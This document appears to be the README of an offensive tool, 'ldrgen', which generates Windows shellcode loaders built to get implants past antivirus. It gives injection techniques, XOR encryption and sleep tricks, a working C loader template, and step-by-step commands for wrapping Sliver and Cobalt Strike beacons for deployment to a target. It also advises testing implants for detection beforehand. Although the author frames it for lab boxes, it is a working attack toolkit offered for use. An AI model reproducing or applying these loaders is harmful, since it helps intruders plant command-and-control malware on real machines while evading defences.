ldrgen
ldrgen is a golang cli tool for rapid generation of shellcode loaders using pre-defined templates.
⚠️ useful for boxes with av, not so much for irl purposes.
Table of Contents
- ldrgen
Why?
When you want to drop your beacon to disk but AV keeps nuking you, and you need some templates to generate your own loaders.
Loaders
Here are the injection techniques that can be used with the generator, do note that the focus for this tool is to generate loaders to bypass AV and not to be evasive against EDR solutions.
-
VirtualAlloc(RWX),memcpyshellcode, execute inline with( (void ( * )())exec )();
-
VirtualAlloc(RWX),memcpyshellcode, XOR decrypt, execute inline with( (void ( * )())exec )();
-
VirtualAlloc(RWX),memcpyshellcode,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
-
VirtualAlloc(RWX),memcpyshellcode,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.- This technique uses
LoadLibraryAandGetProcAddressto dynamically resolve WinAPI functions.
-
VirtualAlloc(RWX),memcpyshellcode, XOR decrypt,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
-
VirtualAlloc(RWX),memcpyshellcode, XOR decrypt,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.- This technique uses
LoadLibraryAandGetProcAddressto dynamically resolve WinAPI functions.
-
VirtualAlloc(RWX), sleep for x seconds,memcpyshellcode, XOR decrypt,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
-
VirtualAlloc(RWX), sleep for x seconds,memcpyshellcode, XOR decrypt,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.- This technique uses
LoadLibraryAandGetProcAddressto dynamically resolve WinAPI functions.
-
CreateProcessA,VirtualAllocEx(RWX),WriteProcessMemory, andQueueUserAPCto execute shellcode in operator-controlled spawned process.
-
OpenProcess,VirtualAllocEx(RWX),WriteProcessMemoryandCreateRemoteThreadto execute shellcode in remote process.
-
OpenProcess,VirtualAllocEx(RW),WriteProcessMemory,VirtualProtectEx(RX) andCreateRemoteThreadto execute shellcode in remote process.
-
OpenProcess,VirtualAllocEx(RWX),WriteProcessMemory,OpenThreadandQueueUserAPCto execute shellcode in remote process.
Usage
git clone https://github.com/gatariee/ldrgen
cd ./ldrgen
go build -o ldr .
./ldr --help
Usage with Encrypted Shellcode
If you intend to use encrypted payload, ldrgen can perform XOR encryption of the binfile for you by specifying the -enc and passing in a key to the -args flag when running the tool.
This operation creates a temporary file "shellcode.bin.enc" in your current working directory. Specify --cleanup to delete this file afterwards.
Make sure to specify a loader token that supports encryption, some are: inline_xor, createthread_xor, createthread_xor_sleep.
Example (Calc Shellcode)
./ldr -bin ./dev/calc_shellcode/calc.bin -out ./output -ldr CreateThread_Xor -enc xor -args "key=secretKey123"
cd output && make x64
Example (Sliver Beacon)
Shellcode Generation
sliver > generate beacon --http <listener_ip> --format shellcode
Loader Generation
./ldr -bin QUALIFIED_HONESTY.bin -out ./output -ldr CreateThread_Xor_Sleep -enc xor -args "key=supersecretkey1234, sleep=5" --cleanup
- binfile -> QUALIFIED_HONESTY.BIN
- output to -> ./output
- use technique -> CreateThread_Xor_Sleep
- with encryption: xor
- with args:
- key: supersecretkey1234
- sleep: 5
- delete tempfiles after compilation: true
Compilation
- compile for x64 windows, alternatively compile for x86 with
make x86(make sure your shellcode arch is the same as the loader arch)
cd output && make x64
- Copy
implant_x64.exeto your target, see: here.
If you're worried about detections, run your implant through AV before deploying it to your target. (avoid VT if you care about getting sigged, but I'll use it cos I'm lazy.)
https://www.virustotal.com/gui/file/a88b7bee6e5dab73f158093d9f4ec9e556bd6984689efac44bafe3f600020b66?nocache=1
This should be fine for Windows Defender.
Callback
Example (Cobalt Strike Beacon)
This is pretty much the same as the Sliver example. Though, you might need more evasive techniques as Cobalt Strike is more sigged.
Shellcode Generation
- Payloads -> Stageless Payload Generator -> Output: Raw -> Generate
Loader Generation
./ldr -bin payload_x64.bin -out ./output -ldr CreateThread_Iat_Xor_Sleep -enc xor -args "key=asdasdiasdasidasdasd, sleep=10" --cleanup
Compilation
cd output && make x64
Callback
remove the print statements from source if you care, but in cases where you should care, you should probably be handwriting your loaders.
Customization
Loader Tokens
Loader tokens are passed in to the tool to indicate which technique to use for loading the shellcode:
These are defined in config.yaml, this is also where you can define new tokens- see New Tokens.
-
- token identifier:
inline VirtualAllocto allocate RWX memory,memcpyshellcode, execute inline with( (void ( * )())exec )();
- token identifier:
-
- token identifier:
inline_xor VirtualAllocto allocate RWX memory,memcpyshellcode, encrypt shellcode via Xor.c, execute inline with( (void ( * )())exec )();
- token identifier:
-
- token identifier:
createremotethread OpenProcess,VirtualAllocExwith PAGE_EXECUTE_READWRITE,WriteProcessMemoryandCreateRemoteThreadto execute shellcode
- token identifier:
-
- token identifier:
createremotethreadrx OpenProcess,VirtualAllocExwith PAGE_EXECUTE_READ,WriteProcessMemory,VirtualProtectExwith PAGE_EXECUTE_READ andCreateRemoteThreadto execute shellcode
- token identifier:
-
- token identifier:
createthread VirtualAllocto allocate RWX memory,memcpyshellcode,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
- token identifier:
-
- token identifier:
createthread_xor VirtualAllocto allocate RWX memory,memcpyshellcode, decrypt shellcode via Xor.c,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
- token identifier:
-
- token identifier:
createthread_xor_sleep VirtualAllocto allocate RWX memory, sleep,memcpyshellcode, decrypt shellcode via Xor.c,Sleep(10),CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.
- token identifier:
-
- token identifier:
createthread_iat_xor VirtualAllocto allocate RWX memory,memcpyshellcode, decrypt shellcode via Xor.c,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.- This technique uses the IAT to resolve
LoadLibraryAandGetProcAddressto resolve WinAPI functions. - Refer to hash.py for the hash function used to resolve the functions.
- token identifier:
-
- token identifier:
createthread_iat_xor_sleep VirtualAllocto allocate RWX memory, sleep,Sleep( ${SLEEP} ),memcpyshellcode, decrypt shellcode via Xor.c,CreateThreadto execute shellcode,WaitForSingleObjectto wait for thread to exit.- This technique uses the IAT to resolve
LoadLibraryAandGetProcAddressto resolve WinAPI functions. - Refer to hash.py for the hash function used to resolve the functions.
- *I use this for most AV boxes, this shld be sufficient for windef
(this list is not updated, check config.yaml for the latest list)
- token identifier:
In order to edit existing tokens, you can simply modify the source code in the templates directory.
For example, in order to add a Sleep( 1000 ) before decrypting & executing the shellcode in the CreateThread_Xor technique, you can modify the main function in CreateThread_Xor.c file:
#include <windows.h>
int main( int argc, char* argv[] ) {
LPVOID mem = VirtualAlloc( NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
if (mem == NULL) {
return 1;
}
/* Sleep for 10 seconds */
Sleep( 1000 );
/* Resume execution */
xorShellcode( shellcode, shellcode_size, "${KEY}" );
memcpy( mem, shellcode, shellcode_size );
HANDLE hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL );
if (hThread == NULL) {
VirtualFree( mem, 0, MEM_RELEASE );
return 1;
}
WaitForSingleObject( hThread, INFINITE );
CloseHandle( hThread );
VirtualFree( mem, 0, MEM_RELEASE );
return 0;
}
New Loader Tokens
In order to add new loaders, you can directly commit source files to the templates directory, and write a new token in config.yaml.
Globals
These are globally accessibles in loader templates, and will be replaced with the appropriate values when generating the loader source code.
-
extern unsigned char shellcode[];extern size_t shellcode_size;
-
void xorShellcode(unsigned char* shellcode, size_t shellcodeSize, const char* key)
You can use these in your own loader templates, for example:
#include "Shellcode.h"
/*
Externally defined shellcode variables:
{
unsigned char shellcode[];
unsigned int shellcode_size;
}
*/
#include "Xor.h"
/*
Externally defined xorShellcode function:
{
void xorShellcode(unsigned char *shellcode, unsigned int shellcode_size, unsigned char key);
}
*/
#include <stdio.h>
int main() {
/* This is the size of the shellcode in bytes */
printf("Shellcode size: %d\n", shellcode_size);
/* shellcode[] = { 0x00, 0x01, 0x02, ... } */
printf("First 10 bytes of shellcode: ");
for (int i = 0; i < 10; ++i) {
printf("%02X ", shellcode[i]);
}
printf("\n");
/* If shellcode is encrypted, you can hardcode a key */
xorShellcode(shellcode, shellcode_size, "HardcodedKey1234");
/* Or, you can supply a key via the template */
xorShellcode(shellcode, shellcode_size, "${KEY}");
/* Now, you can execute the shellcode */
...
}
Loader Configuration Template
Now that you have the loader source code ready, you can add a new token to config.yaml to use it from the cli.
Each loader token must follow this structure:
token: "loader_token" # required
key_required: false # optional: default false
enc_type: "xor" # optional: default ""
files:
- sourcePath: "/path/to/loader.c" # required
outputPath: "Main.c" # best not to change this
- sourcePath: "/path/to/any/other/source.c" # optional
outputPath: "Other.c" # optional
# Feel free to not include the `makefile` if you have your own compilation process
- sourcePath: "makefile"
outputPath: "makefile"
If you have substitutions in your loader source code (e.g key for XOR), you can add them to the substitutions section:
token: "loader_token" # required
key_required: false # optional: default false
enc_type: "xor" # optional: default ""
files:
- sourcePath: "/path/to/loader.c" # required
outputPath: "Main.c" # best not to change this
# Let's replace the placeholder ${KEY} in `loader.c` with a user supplied argument `key`
substitutions:
key: "${KEY}"
# If we have more things to substitute, e.g ${PID}- we can keep adding on.
pid: "${PID}"
- sourcePath: "/path/to/any/other/source.c" # optional
outputPath: "Other.c" # optional
# Since we're doing XOR encryption, we need to include the relevant source code
- sourcePath: "Source/Xor.c"
outputPath: "Xor.c"
- sourcepath: "Include/Xor.h"
outputPath: "Xor.h"
# Feel free to not include the `makefile` if you have your own compilation process
- sourcePath: "makefile"
outputPath: "makefile"










